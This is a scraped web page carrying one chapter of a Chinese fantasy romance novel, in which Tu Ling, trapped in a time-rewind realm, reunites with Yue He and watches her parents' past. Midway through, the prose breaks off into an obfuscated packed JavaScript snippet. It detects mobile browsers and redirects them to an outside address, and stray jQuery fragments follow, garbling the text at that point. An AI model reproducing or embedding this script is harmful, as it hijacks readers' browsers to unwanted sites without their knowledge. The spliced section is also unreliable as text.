默认冷灰
24号文字
方正启体

66. 往生殿(一)

作者:镜溪本书字数:K更新时间:
    “小图儿乖,困了就去睡。”奚仲卿抬手的片刻,借机将一股灵力注入她的后颈。


    眼皮渐渐沉重起来,连带着身体亦不受控制地瘫软下去。待她躺在床上任由那个人盖好被褥,整个人依旧是清醒的。除了身体无法动弹,无法开口说话,她依旧能看能听。


    刚刚那人,是她从未料想到会在此处遇到的——许知言。


    “师兄,我长得有那么可怕吗?那小丫头看到我吓得脸都白了。”许知言正要向里面张望一番,被奚仲卿默不作声的眼神制止回去。


    “今日叫你来,是想问为何封印术法的记忆失效了?我的灵力亦恢复了。”奚仲卿蹙眉看着指尖时明时灭的灵火。


    许知言坐了下来,自己倒了一杯酒:“那自然是因为,师兄你动情了。反正按照最初的安排,你只是想拿到情丝而已,现在离开亦无妨。”


    奚仲卿望着漫天雨幕,沉声道:“不可。凡人寿命不过数百年,待这一世结束我自会离开。”


    “师兄啊。”许知言敛起笑容,正色道,“煞气之事可耽搁不了那么久,眼下铸成碧落剑才是紧要之事。至于夫人,我刚刚忘记说了。”


    许知言刚想卖个关子,手中的酒杯便应声而裂。他慢条斯理地抽走桌边的一方丝帕揩着手指:“刘家长子身中煞气,残害了数位村民——”


    微雨的剑锋已然抵上了他的脖颈,奚仲卿凛冽的声音穿透窗外滂沱的雨声:“带我去见她。”


    二人行至门前,奚仲卿突然脚步一顿收起长剑。


    一位头戴斗笠身穿蓑衣,裹得严严实实的少年伏拜在廊下,图灵欲仔细去看,发觉自己竟脱离那具沉睡的躯体飘了起来。


    低头时,全然陌生的面孔令图灵后背寒毛直竖。躺在床上的女童有着从未见过的面孔,然而此前在铜镜中她一直看到的是自己的模样。


    “听街坊说,近日夫人收留了一位女娃,想来或许是在下失散已久的妹妹,因此特来拜会先生。恳请先生允我与她见上一面。”少年说着便要跪下来。


    奚仲卿一把托住他,侧身让他进来:“此前她大约是失忆了,内人对她喜爱得紧,我们便留她多住了一些时日。若真是令妹,那请郎君自便。在下还有急事,先行一步。”


    奚仲卿说完,便悄悄收回了术法,床上女童悠悠醒转来的片刻,那具身躯仿佛伸处无数只手将她用力抓了回去。


    图灵匆忙爬起来,踩着妆奁前的木凳望向窗外,刚刚那两人早已不见了踪影。再回眸时,少年白皙手臂上的红色妖纹宛若院落狂风中几欲撕裂天空的树枝。


    她现在没有修为,身量也只到那个妖腰间那么高,智取还是逃跑,她都不是他的对手。奚仲卿当真从未在意过她,此前或许是碍于黎怜枝的情面,图灵想到这里,原本明媚靓丽的面庞瞬间耷拉下来。


    无论这是梦还是幻境,一切都要到此为止了,图灵闭上了眼睛。


    正在步步紧逼的少年看到她这个样子,停在了与她两三步远的位置:“阿灵,对不起。”


    听到这个声音,图灵仰起头对上那双愧疚、犹疑的眼睛,毫不犹豫地冲他扑了过去:“岳隺,原来你也在这里!”


    掌心妖力本欲蓄势待发却转瞬熄灭,岳隺手臂一挽将她抱入怀中:“我们先离开这里。”


    疾风骤雨中的客栈,油灯燃了又灭,客栈老板娘干脆提早打烊,喊了小二几个人去了里屋投骰子。仅有三楼尽头的一号房透着温润的一层光,远远望去仿佛坠落荒野的星辰。


    红烛垂落泪滴,昏黄光影里床榻上闭目打坐的人亦身着一层暖融融的柔光。


    图灵捏起盘中一颗红玛瑙般的葡萄,听完岳隺将前因后果简短说过一遍,鲜嫩的汁水倏地在指间爆开:“所以,此前你是想要强行带我离开?”


    这几日,她不是没有发现端倪。她感受不到这里的温度,亦尝不出食物的味道,只是这些与能够看到黎怜枝日日开怀的笑容相比,皆显得微不足道。


    在粼山时,图休虽然对她关切,但大多数时候对她来说只是严厉督促她修习术法的师父。可是这里的黎怜枝永远像每日都会重新绽放的朝颜花,更像一位真正的阿娘。


    “这里虽叫往生殿,但不过是时光回溯的一隅残片。”岳隺顿了顿突然低头咬紧牙关,继续道,“阿灵,这里的一切我们不能随意插手,必须让所有发生的事回到之前应有的轨道,才能找到当年封印煞气的真相。”


    “你是要我眼睁睁地看着这一切发生,但不许插手改变?”图灵腾地站起身,愤愤看着岳隺。她原本计划,只要取得黎怜枝的信任,就可以带她离开,避开日后那些莫须有的栽赃嫁祸。


    在同悲洞生死一瞬时,她就明白了,奚万尘从来不在意能否真正解决煞气之事,自始至终,他只是想要神力。


    “阿灵,若你愿意——”苍白颤抖的指节再也掩盖不住身体的异样,岳隺正欲取出玉佩催动魔印,一个柔软的肉团覆盖上了他的手腕,他急忙抽回手和她避开一段距离。


    “岳隺,你是不是有什么事情瞒着我?”此刻只比他膝盖高出半头的女童神色严肃,直视着他的眼睛语气不容置喙,“告诉我。”


    岳隺陡然瞳孔微张,双唇木讷地一张一合:“若与这里的因果产生链接会遭到反噬,但是如果你在这里过得很开心,我愿意承担这一切,哪怕让你再多留一刻钟也好。”


    “那我该怎么做才能与这里的人断开联系?”图灵似是预想到了什么,心口某处猛然落空了。


    “和我一起在魔印中注入神力与妖力。但若如此,他们便再也无法看到你。”


    岳隺目光呆滞,脱口而出的话亦是一板一眼,图灵察觉出一些异样,但误认为是反噬的缘故。她现在没有修为,想来以血为阵或可一试。


    不多时,她便用满是血渍的手覆盖住玉佩和岳隺的手心。


    岳隺身体一抖好似猛地回过神来,他用力甩开她的手却轻飘飘地划过一层空气。烛光毫不留情地穿透两人的身躯,地上没有影子,只剩没有完全消散的血阵看起来有些骇人。岳隺别过头去:“我不需要你救我。”


    图灵已经恢复为先前的样子,她俯下身偏头凑到那个人的面前:“怎么啦?还在为之前桃花契的事情生气?我承认当时做下那个决定冲动了一些,但是不若如此,你又怎么可以救出我。”


    “如若我们都中计,这件事可能真得没有转圜的余地了。我一直相信,你肯定会去救我的。”


    “阿岳,无论有没有桃花契,我对你的心意从未改变。”


    “我······”几缕发丝垂落他的掌心,原本绷紧的脸颊骤然烧起两团红晕,岳隺余气未消,“我不是对你生气。”


    图灵坏笑着在他身旁坐了下来:“不过,我刚刚没想到,难得你愿意把一切都说出来。”


    “我,我说什么了?”岳隺心乱如麻却面色未改,“阿灵,现在这个样子你没有办法再回到那个家了。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614914|202274||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“这样很好啊,手心也不痛了,我想飞到哪里飞到哪里。而且,找到真相才能救出其他人,还我阿娘一个清白。”图灵跳下床轻轻朝地面一蹬,便绕着房间飘了一圈,而后落回到他身边,摇着他的衣袖,“阿岳你看着我的眼睛,我想再试一试。”


    岳隺蓦然起身,握住她的手:“我们去找许长老,他一定知道些什么。”


    “先前许长老告诉我,阿娘不过是奚万尘飞升为仙之前的一段尘缘。可是现在看,一切明明是有意为之,刚刚他们还提起碧落剑······”二人跟随几位修士来到村外,图灵拼凑着至今为止得到的所有信息,突然看到岳隺做了一个噤声的动作。


    只见许知言和众人修士合力起阵,村子上方缓缓升起一方似是有金丝银线游走的结界,几团煞气闯入不得随即调转了方向。结界源源不断修复着村子原有的灵气,将邪祟与漫天暴雨一并隔绝在外。


    一位面容清秀的修士向许知言作揖道:“二师兄,此类阵法消耗灵力极大,终究不是长久之计。”


    “这还用你说。”许知言没好气地冷哼一声。


    修士不曾领会他的脸色,依旧作揖:“恳请二师兄再劝劝大师兄。还有,此前二师兄对夫人见死不救之事有违门规,还望师兄珍重明德。”


    “好,好,好。你们一个个都是大善人,我现在就去找大师兄请罪。”许知言拂袖离去。


    “阿娘出事了!”图灵亦顾不得会不会被发现,拉起岳隺紧紧追上了许知言。只是回到家中还未走到黎怜枝的身前,便为奚仲卿的眼神怔在了原地,他此刻明显下了杀意。


    岳隺挡在她的身侧对她点点头,示意他们看不到自己。


    许知言看到白瓷碗中的血痕和奚仲卿手腕处缠绕的苎麻布,立刻跪下来伸出手腕:“是我做错了事,要用多少血,师兄随便取。还望师兄爱惜身体,以大局为重。”


    熟睡中的人嘴唇已经慢慢恢复了血色,呼吸亦平稳下来,奚仲卿卸去周身寒意,扶他起身:“我明白你的好意,守好各处的结界,明日我便会回到门派。”


    “那便恭候师兄归迎仙位。”许知言重重一拜,消失在原地。


    图灵蜷缩在窗棂旁倚在岳隺身侧,痴痴望着依旧昏睡的人。奚仲卿吹熄两盏灯,留下一根火烛置于床幔一侧,取来一本医书细细读着,时不时用过了温水的手帕润湿黎怜枝干裂的嘴唇。


    不管日后发生了什么,此刻奚仲卿对待黎怜枝终归是全心全意的,图灵蓦然想起许知言提到的“情丝”,一个箭步跃下窗棂,转而顿住脚步,她做不了什么也不能做什么。


    “怜儿。”


    忽然听到奚仲卿低低地呼唤了一声,图灵猫着脚步贴到了床前,有一瞬间她对上黎怜枝微亮的瞳孔,几乎以为她看到了自己。


    “可还有哪里不舒服?”奚仲卿看她执意要起身,顺势放好其背后的软枕。


    黎怜枝环顾四周:“小图儿呢?”


    “晚些时候她的哥哥寻了过来,想来现在两人已经离开了。”奚仲卿低头整理着盖在她身上的被褥,避开她的视线,一滴热泪砸落在手背上,他迅速站起身。


    黎怜枝仰头看着他,仿佛此前尸山中的冷雨再次簌簌落满她的眼睛:“仲卿,我们······”


    “这么久没吃东西你肯定饿坏了,我去把馄饨热一热。”奚仲卿几乎是逃也似地掩上了门。


    图灵看出两人间的端倪,跳出窗棂寻着灶房飘了过去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)